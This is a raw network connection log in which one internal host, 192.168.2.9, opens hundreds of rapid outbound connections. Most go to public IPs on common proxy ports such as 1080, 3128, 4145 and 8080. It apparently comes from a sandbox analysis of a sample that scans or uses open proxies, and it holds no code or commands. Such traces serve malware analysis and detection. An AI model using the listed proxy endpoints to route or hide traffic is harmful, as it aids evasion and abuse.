Mar 11, 2024 15:21:02.210194111 CET	50309	22735	192.168.2.9	91.142.222.84
Mar 11, 2024 15:21:02.211724997 CET	50309	22735	192.168.2.9	91.142.222.84
Mar 11, 2024 15:21:02.211908102 CET	50710	63819	192.168.2.9	185.109.184.150
Mar 11, 2024 15:21:02.211914062 CET	50709	5020	192.168.2.9	182.160.100.156
Mar 11, 2024 15:21:02.212549925 CET	80	50303	104.17.66.69	192.168.2.9
Mar 11, 2024 15:21:02.212563038 CET	80	50303	104.17.66.69	192.168.2.9
Mar 11, 2024 15:21:02.212740898 CET	50711	5678	192.168.2.9	181.57.194.28
Mar 11, 2024 15:21:02.212744951 CET	50303	80	192.168.2.9	104.17.66.69
Mar 11, 2024 15:21:02.212948084 CET	50712	54240	192.168.2.9	200.25.254.193
Mar 11, 2024 15:21:02.213516951 CET	80	50303	104.17.66.69	192.168.2.9
Mar 11, 2024 15:21:02.213531017 CET	80	50331	50.223.38.6	192.168.2.9
Mar 11, 2024 15:21:02.213567972 CET	50713	23711	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:02.213732004 CET	50714	8080	192.168.2.9	114.132.202.78
Mar 11, 2024 15:21:02.213735104 CET	50303	80	192.168.2.9	104.17.66.69
Mar 11, 2024 15:21:02.214586973 CET	50716	80	192.168.2.9	104.23.126.8
Mar 11, 2024 15:21:02.215575933 CET	50715	51123	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.215607882 CET	50717	4145	192.168.2.9	92.255.164.166
Mar 11, 2024 15:21:02.215693951 CET	49875	80	192.168.2.9	50.172.75.121
Mar 11, 2024 15:21:02.215698957 CET	49776	57144	192.168.2.9	49.12.126.53
Mar 11, 2024 15:21:02.215703011 CET	49856	80	192.168.2.9	50.221.74.130
Mar 11, 2024 15:21:02.215770960 CET	49779	8080	192.168.2.9	103.245.204.214
Mar 11, 2024 15:21:02.216305971 CET	50718	8080	192.168.2.9	103.148.130.5
Mar 11, 2024 15:21:02.216310978 CET	50719	80	192.168.2.9	173.245.49.27
Mar 11, 2024 15:21:02.216864109 CET	50720	4145	192.168.2.9	91.185.236.239
Mar 11, 2024 15:21:02.216896057 CET	50721	1111	192.168.2.9	121.101.131.67
Mar 11, 2024 15:21:02.216897964 CET	50722	5678	192.168.2.9	79.127.35.243
Mar 11, 2024 15:21:02.217538118 CET	50723	32842	192.168.2.9	212.83.143.97
Mar 11, 2024 15:21:02.217539072 CET	50724	8080	192.168.2.9	211.222.252.187
Mar 11, 2024 15:21:02.218646049 CET	50726	8080	192.168.2.9	113.161.59.136
Mar 11, 2024 15:21:02.218709946 CET	50725	21000	192.168.2.9	140.238.25.255
Mar 11, 2024 15:21:02.218903065 CET	50727	3629	192.168.2.9	185.215.53.241
Mar 11, 2024 15:21:02.219063044 CET	3129	50248	20.219.235.172	192.168.2.9
Mar 11, 2024 15:21:02.219094038 CET	50728	4145	192.168.2.9	45.70.206.40
Mar 11, 2024 15:21:02.219643116 CET	80	50541	104.20.67.113	192.168.2.9
Mar 11, 2024 15:21:02.219675064 CET	50729	80	192.168.2.9	143.198.226.25
Mar 11, 2024 15:21:02.219775915 CET	50541	80	192.168.2.9	104.20.67.113
Mar 11, 2024 15:21:02.219927073 CET	50730	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:02.219928026 CET	50541	80	192.168.2.9	104.20.67.113
Mar 11, 2024 15:21:02.220145941 CET	50731	80	192.168.2.9	104.16.105.146
Mar 11, 2024 15:21:02.220679998 CET	50732	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.220799923 CET	80	50545	104.20.75.31	192.168.2.9
Mar 11, 2024 15:21:02.220932007 CET	50545	80	192.168.2.9	104.20.75.31
Mar 11, 2024 15:21:02.221302986 CET	50545	80	192.168.2.9	104.20.75.31
Mar 11, 2024 15:21:02.221452951 CET	999	50402	191.97.19.66	192.168.2.9
Mar 11, 2024 15:21:02.221489906 CET	50733	55555	192.168.2.9	144.24.77.90
Mar 11, 2024 15:21:02.221972942 CET	3128	50349	18.135.133.116	192.168.2.9
Mar 11, 2024 15:21:02.222064018 CET	50734	80	192.168.2.9	103.174.102.127
Mar 11, 2024 15:21:02.222093105 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:02.222155094 CET	50735	20896	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.222359896 CET	50736	8080	192.168.2.9	103.76.148.161
Mar 11, 2024 15:21:02.222589970 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:02.222596884 CET	50737	54504	192.168.2.9	51.68.164.77
Mar 11, 2024 15:21:02.222810030 CET	9080	50456	38.54.95.19	192.168.2.9
Mar 11, 2024 15:21:02.223035097 CET	80	49746	50.174.214.218	192.168.2.9
Mar 11, 2024 15:21:02.223160028 CET	50456	9080	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.223161936 CET	50738	8888	192.168.2.9	58.253.210.122
Mar 11, 2024 15:21:02.223355055 CET	50456	9080	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.223604918 CET	50740	1080	192.168.2.9	94.131.106.196
Mar 11, 2024 15:21:02.223612070 CET	50739	8080	192.168.2.9	105.112.83.165
Mar 11, 2024 15:21:02.224255085 CET	50741	33427	192.168.2.9	5.39.19.154
Mar 11, 2024 15:21:02.224255085 CET	50742	53783	192.168.2.9	162.241.46.54
Mar 11, 2024 15:21:02.224684954 CET	50743	80	192.168.2.9	50.172.75.123
Mar 11, 2024 15:21:02.225198030 CET	50744	39652	192.168.2.9	139.162.238.184
Mar 11, 2024 15:21:02.225454092 CET	50745	3128	192.168.2.9	91.189.177.190
Mar 11, 2024 15:21:02.225703955 CET	50746	32261	192.168.2.9	72.10.160.171
Mar 11, 2024 15:21:02.225961924 CET	50747	8080	192.168.2.9	103.60.161.18
Mar 11, 2024 15:21:02.226373911 CET	50748	3128	192.168.2.9	193.122.98.1
Mar 11, 2024 15:21:02.226480961 CET	50749	80	192.168.2.9	85.26.146.169
Mar 11, 2024 15:21:02.227202892 CET	50750	4145	192.168.2.9	98.181.137.83
Mar 11, 2024 15:21:02.227341890 CET	80	50036	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:02.227689028 CET	50751	80	192.168.2.9	18.141.177.23
Mar 11, 2024 15:21:02.227689028 CET	50752	13220	192.168.2.9	43.128.3.115
Mar 11, 2024 15:21:02.227951050 CET	50753	80	192.168.2.9	103.199.18.248
Mar 11, 2024 15:21:02.228110075 CET	50754	80	192.168.2.9	212.161.133.200
Mar 11, 2024 15:21:02.228662968 CET	50755	1080	192.168.2.9	65.1.244.232
Mar 11, 2024 15:21:02.228964090 CET	50756	3128	192.168.2.9	223.155.121.75
Mar 11, 2024 15:21:02.229481936 CET	1599	50453	72.10.160.172	192.168.2.9
Mar 11, 2024 15:21:02.229499102 CET	50757	83	192.168.2.9	103.51.21.250
Mar 11, 2024 15:21:02.229500055 CET	4145	50515	107.181.161.81	192.168.2.9
Mar 11, 2024 15:21:02.229506969 CET	50758	4153	192.168.2.9	78.90.252.7
Mar 11, 2024 15:21:02.230202913 CET	50759	8080	192.168.2.9	200.32.51.179
Mar 11, 2024 15:21:02.230469942 CET	50760	8080	192.168.2.9	203.150.128.183
Mar 11, 2024 15:21:02.230906010 CET	50761	9999	192.168.2.9	115.221.242.131
Mar 11, 2024 15:21:02.230997086 CET	80	50344	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:02.231311083 CET	49811	8080	192.168.2.9	84.241.8.234
Mar 11, 2024 15:21:02.231336117 CET	49783	1111	192.168.2.9	103.169.148.2
Mar 11, 2024 15:21:02.231337070 CET	49950	51535	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:02.231337070 CET	50762	4145	192.168.2.9	83.53.207.196
Mar 11, 2024 15:21:02.231337070 CET	49782	3128	192.168.2.9	103.106.115.50
Mar 11, 2024 15:21:02.231404066 CET	50344	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:02.231693029 CET	50344	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:02.232036114 CET	50763	3128	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:02.232270956 CET	50764	80	192.168.2.9	20.111.54.16
Mar 11, 2024 15:21:02.232347012 CET	4153	49741	103.209.230.185	192.168.2.9
Mar 11, 2024 15:21:02.232944965 CET	50765	1080	192.168.2.9	113.161.248.125
Mar 11, 2024 15:21:02.233972073 CET	50766	23721	192.168.2.9	67.213.210.61
Mar 11, 2024 15:21:02.234045982 CET	50768	5452	192.168.2.9	104.238.111.107
Mar 11, 2024 15:21:02.234616041 CET	50770	3128	192.168.2.9	194.93.25.55
Mar 11, 2024 15:21:02.234618902 CET	50769	24015	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.235028982 CET	50767	4145	192.168.2.9	199.102.104.70
Mar 11, 2024 15:21:02.235032082 CET	4153	49980	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.235153913 CET	4153	49980	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.235280991 CET	49980	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.235368967 CET	49980	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.235372066 CET	50771	1976	192.168.2.9	41.65.236.39
Mar 11, 2024 15:21:02.235925913 CET	50773	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.235927105 CET	50772	49687	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.236637115 CET	50775	12582	192.168.2.9	37.187.73.7
Mar 11, 2024 15:21:02.236711025 CET	10089	50064	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:02.237078905 CET	50776	8080	192.168.2.9	202.154.37.141
Mar 11, 2024 15:21:02.237078905 CET	50777	8899	192.168.2.9	117.160.250.134
Mar 11, 2024 15:21:02.237433910 CET	50064	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:02.237433910 CET	50778	4527	192.168.2.9	138.197.92.110
Mar 11, 2024 15:21:02.238101959 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:02.238133907 CET	50779	8080	192.168.2.9	77.37.132.129
Mar 11, 2024 15:21:02.238183022 CET	50774	50001	192.168.2.9	94.23.171.143
Mar 11, 2024 15:21:02.238274097 CET	50780	9443	192.168.2.9	101.230.172.86
Mar 11, 2024 15:21:02.238351107 CET	80	50501	50.200.12.87	192.168.2.9
Mar 11, 2024 15:21:02.238905907 CET	50782	5678	192.168.2.9	202.40.178.34
Mar 11, 2024 15:21:02.238907099 CET	50781	4145	192.168.2.9	72.217.158.202
Mar 11, 2024 15:21:02.238965034 CET	80	49781	47.93.121.200	192.168.2.9
Mar 11, 2024 15:21:02.239936113 CET	50783	58612	192.168.2.9	51.161.131.84
Mar 11, 2024 15:21:02.239936113 CET	50784	8080	192.168.2.9	188.132.221.133
Mar 11, 2024 15:21:02.240319967 CET	50785	12113	192.168.2.9	103.49.28.23
Mar 11, 2024 15:21:02.240693092 CET	3950	49956	148.72.212.198	192.168.2.9
Mar 11, 2024 15:21:02.240705013 CET	80	50036	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:02.241296053 CET	50787	4145	192.168.2.9	184.181.217.210
Mar 11, 2024 15:21:02.241300106 CET	50786	61553	192.168.2.9	75.119.145.169
Mar 11, 2024 15:21:02.242192984 CET	50788	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.242193937 CET	50789	80	192.168.2.9	104.25.167.88
Mar 11, 2024 15:21:02.242676020 CET	50790	63404	192.168.2.9	192.99.207.129
Mar 11, 2024 15:21:02.242750883 CET	50792	80	192.168.2.9	50.204.190.234
Mar 11, 2024 15:21:02.242753029 CET	50791	83	192.168.2.9	103.89.233.226
Mar 11, 2024 15:21:02.243365049 CET	50793	1200	192.168.2.9	203.202.252.149
Mar 11, 2024 15:21:02.244194984 CET	50795	5678	192.168.2.9	50.47.75.212
Mar 11, 2024 15:21:02.244194984 CET	50796	3366	192.168.2.9	212.5.143.42
Mar 11, 2024 15:21:02.244311094 CET	5678	50343	185.56.180.14	192.168.2.9
Mar 11, 2024 15:21:02.244703054 CET	80	49830	36.92.193.189	192.168.2.9
Mar 11, 2024 15:21:02.244755983 CET	50794	999	192.168.2.9	45.190.78.50
Mar 11, 2024 15:21:02.244755983 CET	50797	8181	192.168.2.9	103.152.232.217
Mar 11, 2024 15:21:02.245436907 CET	50798	28549	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.245440006 CET	50799	5678	192.168.2.9	85.29.147.90
Mar 11, 2024 15:21:02.246082067 CET	50800	8080	192.168.2.9	220.247.162.70
Mar 11, 2024 15:21:02.246085882 CET	50801	3629	192.168.2.9	46.173.35.229
Mar 11, 2024 15:21:02.246496916 CET	50802	8080	192.168.2.9	4.236.183.37
Mar 11, 2024 15:21:02.246496916 CET	50803	8080	192.168.2.9	5.78.44.6
Mar 11, 2024 15:21:02.246558905 CET	8080	50306	95.84.166.138	192.168.2.9
Mar 11, 2024 15:21:02.246944904 CET	50804	999	192.168.2.9	187.49.191.14
Mar 11, 2024 15:21:02.246956110 CET	49932	80	192.168.2.9	50.168.210.235
Mar 11, 2024 15:21:02.246959925 CET	49788	8181	192.168.2.9	103.78.96.146
Mar 11, 2024 15:21:02.246972084 CET	49887	80	192.168.2.9	50.170.90.27
Mar 11, 2024 15:21:02.246978998 CET	49791	83	192.168.2.9	103.48.69.113
Mar 11, 2024 15:21:02.247014046 CET	80	50158	104.16.25.216	192.168.2.9
Mar 11, 2024 15:21:02.247040987 CET	50306	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:02.247042894 CET	49786	2563	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:02.247334003 CET	50011	10000	192.168.2.9	46.17.63.166
Mar 11, 2024 15:21:02.247335911 CET	50306	8080	192.168.2.9	95.84.166.138
Mar 11, 2024 15:21:02.247708082 CET	50805	9080	192.168.2.9	12.27.168.161
Mar 11, 2024 15:21:02.247940063 CET	50806	4153	192.168.2.9	185.32.44.1
Mar 11, 2024 15:21:02.248789072 CET	50807	8080	192.168.2.9	138.94.236.161
Mar 11, 2024 15:21:02.248887062 CET	50808	10046	192.168.2.9	115.146.225.137
Mar 11, 2024 15:21:02.249294996 CET	6879	50462	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.249308109 CET	4145	50119	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:02.249344110 CET	4145	50119	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:02.249794006 CET	50809	8080	192.168.2.9	5.78.89.192
Mar 11, 2024 15:21:02.251331091 CET	10977	50465	67.43.227.226	192.168.2.9
Mar 11, 2024 15:21:02.251344919 CET	15109	50468	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.251367092 CET	50810	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:02.251468897 CET	50811	31908	192.168.2.9	64.227.108.25
Mar 11, 2024 15:21:02.252027988 CET	80	50205	80.228.235.6	192.168.2.9
Mar 11, 2024 15:21:02.252042055 CET	1080	50030	45.234.100.112	192.168.2.9
Mar 11, 2024 15:21:02.253001928 CET	4145	50444	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:02.253006935 CET	50812	39027	192.168.2.9	148.72.209.174
Mar 11, 2024 15:21:02.253073931 CET	80	50147	162.159.242.158	192.168.2.9
Mar 11, 2024 15:21:02.253081083 CET	50444	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:02.253359079 CET	50444	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:02.254440069 CET	1080	50030	45.234.100.112	192.168.2.9
Mar 11, 2024 15:21:02.254543066 CET	50030	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:02.254688025 CET	50030	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:02.254858017 CET	50813	49478	192.168.2.9	162.241.70.64
Mar 11, 2024 15:21:02.255105972 CET	50814	30000	192.168.2.9	5.9.154.177
Mar 11, 2024 15:21:02.255263090 CET	50815	1080	192.168.2.9	202.21.112.172
Mar 11, 2024 15:21:02.255494118 CET	50816	1080	192.168.2.9	45.234.100.112
Mar 11, 2024 15:21:02.256292105 CET	50817	34411	192.168.2.9	212.110.188.213
Mar 11, 2024 15:21:02.256450891 CET	80	49758	50.173.182.90	192.168.2.9
Mar 11, 2024 15:21:02.256745100 CET	1080	50399	101.250.10.211	192.168.2.9
Mar 11, 2024 15:21:02.256758928 CET	16614	50413	178.62.79.49	192.168.2.9
Mar 11, 2024 15:21:02.256829023 CET	50399	1080	192.168.2.9	101.250.10.211
Mar 11, 2024 15:21:02.256897926 CET	8081	50012	117.160.250.163	192.168.2.9
Mar 11, 2024 15:21:02.257390022 CET	8181	50380	43.132.184.228	192.168.2.9
Mar 11, 2024 15:21:02.257419109 CET	50399	1080	192.168.2.9	101.250.10.211
Mar 11, 2024 15:21:02.257491112 CET	50012	8081	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.257895947 CET	50012	8081	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.258625984 CET	50818	80	192.168.2.9	213.202.230.241
Mar 11, 2024 15:21:02.259407043 CET	50819	3128	192.168.2.9	172.233.255.11
Mar 11, 2024 15:21:02.259418011 CET	50821	80	192.168.2.9	204.236.176.61
Mar 11, 2024 15:21:02.259478092 CET	50820	59243	192.168.2.9	159.223.71.71
Mar 11, 2024 15:21:02.259609938 CET	9300	50490	198.211.99.26	192.168.2.9
Mar 11, 2024 15:21:02.259759903 CET	80	50377	31.43.179.160	192.168.2.9
Mar 11, 2024 15:21:02.259772062 CET	80	50377	31.43.179.160	192.168.2.9
Mar 11, 2024 15:21:02.260026932 CET	50377	80	192.168.2.9	31.43.179.160
Mar 11, 2024 15:21:02.260493994 CET	80	50377	31.43.179.160	192.168.2.9
Mar 11, 2024 15:21:02.260507107 CET	80	50189	172.67.250.212	192.168.2.9
Mar 11, 2024 15:21:02.260519981 CET	50822	13305	192.168.2.9	148.66.130.53
Mar 11, 2024 15:21:02.260572910 CET	50377	80	192.168.2.9	31.43.179.160
Mar 11, 2024 15:21:02.262574911 CET	49787	3128	192.168.2.9	155.50.241.99
Mar 11, 2024 15:21:02.262574911 CET	49778	80	192.168.2.9	82.119.96.254
Mar 11, 2024 15:21:02.262590885 CET	49789	999	192.168.2.9	38.49.129.154
Mar 11, 2024 15:21:02.262592077 CET	49796	5678	192.168.2.9	202.144.134.150
Mar 11, 2024 15:21:02.262600899 CET	49793	1202	192.168.2.9	157.230.226.230
Mar 11, 2024 15:21:02.262602091 CET	49798	4153	192.168.2.9	185.171.54.34
Mar 11, 2024 15:21:02.262602091 CET	49794	80	192.168.2.9	167.99.174.59
Mar 11, 2024 15:21:02.262626886 CET	80	49790	50.168.163.166	192.168.2.9
Mar 11, 2024 15:21:02.263922930 CET	50823	3128	192.168.2.9	34.30.26.177
Mar 11, 2024 15:21:02.263923883 CET	49797	8080	192.168.2.9	160.248.80.91
Mar 11, 2024 15:21:02.264069080 CET	50824	8080	192.168.2.9	190.61.106.97
Mar 11, 2024 15:21:02.264991045 CET	50825	12057	192.168.2.9	159.223.173.237
Mar 11, 2024 15:21:02.265253067 CET	80	50580	172.67.182.102	192.168.2.9
Mar 11, 2024 15:21:02.265721083 CET	4145	50287	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.265733957 CET	4145	50287	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.265876055 CET	50580	80	192.168.2.9	172.67.182.102
Mar 11, 2024 15:21:02.266100883 CET	50580	80	192.168.2.9	172.67.182.102
Mar 11, 2024 15:21:02.266283989 CET	80	50401	50.170.90.29	192.168.2.9
Mar 11, 2024 15:21:02.267729998 CET	80	50400	104.16.108.149	192.168.2.9
Mar 11, 2024 15:21:02.267927885 CET	80	50400	104.16.108.149	192.168.2.9
Mar 11, 2024 15:21:02.268261909 CET	8888	50354	47.114.101.57	192.168.2.9
Mar 11, 2024 15:21:02.268323898 CET	50826	999	192.168.2.9	190.89.37.73
Mar 11, 2024 15:21:02.268392086 CET	50354	8888	192.168.2.9	47.114.101.57
Mar 11, 2024 15:21:02.268456936 CET	80	50400	104.16.108.149	192.168.2.9
Mar 11, 2024 15:21:02.268733025 CET	50354	8888	192.168.2.9	47.114.101.57
Mar 11, 2024 15:21:02.268733025 CET	50400	80	192.168.2.9	104.16.108.149
Mar 11, 2024 15:21:02.268763065 CET	8000	50422	66.63.168.119	192.168.2.9
Mar 11, 2024 15:21:02.268798113 CET	50400	80	192.168.2.9	104.16.108.149
Mar 11, 2024 15:21:02.268867016 CET	50827	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.269702911 CET	80	50609	104.25.115.125	192.168.2.9
Mar 11, 2024 15:21:02.269716978 CET	80	50611	104.21.194.182	192.168.2.9
Mar 11, 2024 15:21:02.269737005 CET	50828	53749	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.269805908 CET	50611	80	192.168.2.9	104.21.194.182
Mar 11, 2024 15:21:02.269808054 CET	50609	80	192.168.2.9	104.25.115.125
Mar 11, 2024 15:21:02.270109892 CET	50609	80	192.168.2.9	104.25.115.125
Mar 11, 2024 15:21:02.270216942 CET	50611	80	192.168.2.9	104.21.194.182
Mar 11, 2024 15:21:02.270603895 CET	50829	80	192.168.2.9	50.168.72.118
Mar 11, 2024 15:21:02.270606995 CET	50830	3091	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.271059036 CET	50832	22847	192.168.2.9	167.172.159.43
Mar 11, 2024 15:21:02.271059990 CET	50831	30172	192.168.2.9	176.9.119.252
Mar 11, 2024 15:21:02.271064043 CET	50833	34144	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.271095037 CET	80	50610	203.24.109.230	192.168.2.9
Mar 11, 2024 15:21:02.271195889 CET	50610	80	192.168.2.9	203.24.109.230
Mar 11, 2024 15:21:02.271315098 CET	80	50406	104.19.138.4	192.168.2.9
Mar 11, 2024 15:21:02.271328926 CET	80	50406	104.19.138.4	192.168.2.9
Mar 11, 2024 15:21:02.271352053 CET	50610	80	192.168.2.9	203.24.109.230
Mar 11, 2024 15:21:02.271353006 CET	50835	16379	192.168.2.9	51.158.108.165
Mar 11, 2024 15:21:02.271368980 CET	50834	8080	192.168.2.9	125.25.40.38
Mar 11, 2024 15:21:02.271614075 CET	50836	6437	192.168.2.9	103.215.139.32
Mar 11, 2024 15:21:02.271800041 CET	80	50406	104.19.138.4	192.168.2.9
Mar 11, 2024 15:21:02.271812916 CET	80	50408	104.20.56.71	192.168.2.9
Mar 11, 2024 15:21:02.271822929 CET	80	50408	104.20.56.71	192.168.2.9
Mar 11, 2024 15:21:02.271842003 CET	50406	80	192.168.2.9	104.19.138.4
Mar 11, 2024 15:21:02.271977901 CET	4145	50341	119.18.152.139	192.168.2.9
Mar 11, 2024 15:21:02.272077084 CET	50408	80	192.168.2.9	104.20.56.71
Mar 11, 2024 15:21:02.272078991 CET	50406	80	192.168.2.9	104.19.138.4
Mar 11, 2024 15:21:02.272134066 CET	80	50213	104.16.107.206	192.168.2.9
Mar 11, 2024 15:21:02.272176981 CET	80	50220	104.22.14.48	192.168.2.9
Mar 11, 2024 15:21:02.272330046 CET	80	50408	104.20.56.71	192.168.2.9
Mar 11, 2024 15:21:02.272361994 CET	50837	47344	192.168.2.9	75.119.145.154
Mar 11, 2024 15:21:02.272412062 CET	50408	80	192.168.2.9	104.20.56.71
Mar 11, 2024 15:21:02.273281097 CET	50838	9090	192.168.2.9	45.90.104.150
Mar 11, 2024 15:21:02.273293018 CET	50839	8080	192.168.2.9	103.160.184.222
Mar 11, 2024 15:21:02.273785114 CET	50840	8080	192.168.2.9	112.78.170.251
Mar 11, 2024 15:21:02.275757074 CET	19001	50373	8.210.208.148	192.168.2.9
Mar 11, 2024 15:21:02.275791883 CET	50841	3128	192.168.2.9	51.159.66.158
Mar 11, 2024 15:21:02.275903940 CET	80	50416	104.20.178.166	192.168.2.9
Mar 11, 2024 15:21:02.275940895 CET	80	50416	104.20.178.166	192.168.2.9
Mar 11, 2024 15:21:02.276067972 CET	1080	50366	84.22.45.175	192.168.2.9
Mar 11, 2024 15:21:02.276104927 CET	80	50416	104.20.178.166	192.168.2.9
Mar 11, 2024 15:21:02.276133060 CET	50416	80	192.168.2.9	104.20.178.166
Mar 11, 2024 15:21:02.276187897 CET	50416	80	192.168.2.9	104.20.178.166
Mar 11, 2024 15:21:02.276190996 CET	50366	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.276204109 CET	10587	50517	67.43.236.19	192.168.2.9
Mar 11, 2024 15:21:02.276634932 CET	50366	1080	192.168.2.9	84.22.45.175
Mar 11, 2024 15:21:02.278196096 CET	49952	51718	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:02.278215885 CET	49799	8080	192.168.2.9	178.213.24.233
Mar 11, 2024 15:21:02.278217077 CET	49800	31164	192.168.2.9	177.72.115.25
Mar 11, 2024 15:21:02.278227091 CET	49801	8181	192.168.2.9	103.179.252.86
Mar 11, 2024 15:21:02.278228998 CET	49792	51251	192.168.2.9	49.12.126.53
Mar 11, 2024 15:21:02.278234005 CET	49795	999	192.168.2.9	190.110.99.189
Mar 11, 2024 15:21:02.278261900 CET	50842	3128	192.168.2.9	84.17.51.241
Mar 11, 2024 15:21:02.278297901 CET	49991	8080	192.168.2.9	187.157.243.254
Mar 11, 2024 15:21:02.278451920 CET	50843	8080	192.168.2.9	187.73.188.35
Mar 11, 2024 15:21:02.278774023 CET	50844	999	192.168.2.9	38.7.4.90
Mar 11, 2024 15:21:02.279078007 CET	50845	8080	192.168.2.9	103.115.242.192
Mar 11, 2024 15:21:02.279244900 CET	50846	41368	192.168.2.9	208.87.131.240
Mar 11, 2024 15:21:02.279449940 CET	50847	16379	192.168.2.9	51.15.210.79
Mar 11, 2024 15:21:02.279480934 CET	80	50234	104.19.217.219	192.168.2.9
Mar 11, 2024 15:21:02.280092001 CET	50848	3128	192.168.2.9	113.100.209.184
Mar 11, 2024 15:21:02.280169964 CET	50849	83	192.168.2.9	103.191.115.126
Mar 11, 2024 15:21:02.280179024 CET	50850	5678	192.168.2.9	43.245.243.58
Mar 11, 2024 15:21:02.280375957 CET	50851	8080	192.168.2.9	200.108.197.2
Mar 11, 2024 15:21:02.280718088 CET	80	50443	50.218.57.70	192.168.2.9
Mar 11, 2024 15:21:02.281064034 CET	50852	5050	192.168.2.9	23.152.40.15
Mar 11, 2024 15:21:02.281358957 CET	8060	50546	38.54.95.19	192.168.2.9
Mar 11, 2024 15:21:02.281651974 CET	50546	8060	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.281651974 CET	50546	8060	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.281830072 CET	50853	17501	192.168.2.9	202.166.205.242
Mar 11, 2024 15:21:02.282053947 CET	3128	50428	84.39.112.144	192.168.2.9
Mar 11, 2024 15:21:02.282259941 CET	50428	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.282391071 CET	50855	80	192.168.2.9	182.72.203.246
Mar 11, 2024 15:21:02.282392025 CET	50854	3128	192.168.2.9	81.177.6.68
Mar 11, 2024 15:21:02.282664061 CET	50856	8080	192.168.2.9	92.255.205.129
Mar 11, 2024 15:21:02.282665014 CET	50428	3128	192.168.2.9	84.39.112.144
Mar 11, 2024 15:21:02.283919096 CET	50857	82	192.168.2.9	103.163.244.38
Mar 11, 2024 15:21:02.283931971 CET	50858	55636	192.168.2.9	1.179.148.9
Mar 11, 2024 15:21:02.283934116 CET	80	50635	104.24.35.152	192.168.2.9
Mar 11, 2024 15:21:02.283937931 CET	50859	80	192.168.2.9	172.67.181.197
Mar 11, 2024 15:21:02.284022093 CET	50860	4153	192.168.2.9	103.82.8.189
Mar 11, 2024 15:21:02.284113884 CET	50635	80	192.168.2.9	104.24.35.152
Mar 11, 2024 15:21:02.284312963 CET	50635	80	192.168.2.9	104.24.35.152
Mar 11, 2024 15:21:02.284473896 CET	4153	50336	45.226.48.6	192.168.2.9
Mar 11, 2024 15:21:02.284687996 CET	50861	80	192.168.2.9	138.197.102.119
Mar 11, 2024 15:21:02.285002947 CET	50862	44844	192.168.2.9	49.75.17.108
Mar 11, 2024 15:21:02.285032988 CET	33427	50371	91.135.80.66	192.168.2.9
Mar 11, 2024 15:21:02.285608053 CET	5678	50386	113.160.227.166	192.168.2.9
Mar 11, 2024 15:21:02.285640955 CET	50863	3128	192.168.2.9	185.236.203.208
Mar 11, 2024 15:21:02.286232948 CET	50864	8080	192.168.2.9	165.16.59.226
Mar 11, 2024 15:21:02.286859989 CET	50865	80	192.168.2.9	82.66.245.82
Mar 11, 2024 15:21:02.287029028 CET	31145	50388	195.138.73.54	192.168.2.9
Mar 11, 2024 15:21:02.287280083 CET	50388	31145	192.168.2.9	195.138.73.54
Mar 11, 2024 15:21:02.288208008 CET	1388	50395	87.126.65.11	192.168.2.9
Mar 11, 2024 15:21:02.288388014 CET	50395	1388	192.168.2.9	87.126.65.11
Mar 11, 2024 15:21:02.289031029 CET	3128	50374	47.229.171.150	192.168.2.9
Mar 11, 2024 15:21:02.289174080 CET	50374	3128	192.168.2.9	47.229.171.150
Mar 11, 2024 15:21:02.290265083 CET	44607	49828	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:02.292517900 CET	4153	50255	103.117.109.9	192.168.2.9
Mar 11, 2024 15:21:02.293832064 CET	49804	8080	192.168.2.9	188.190.40.44
Mar 11, 2024 15:21:02.293833017 CET	49986	2363	192.168.2.9	67.43.227.227
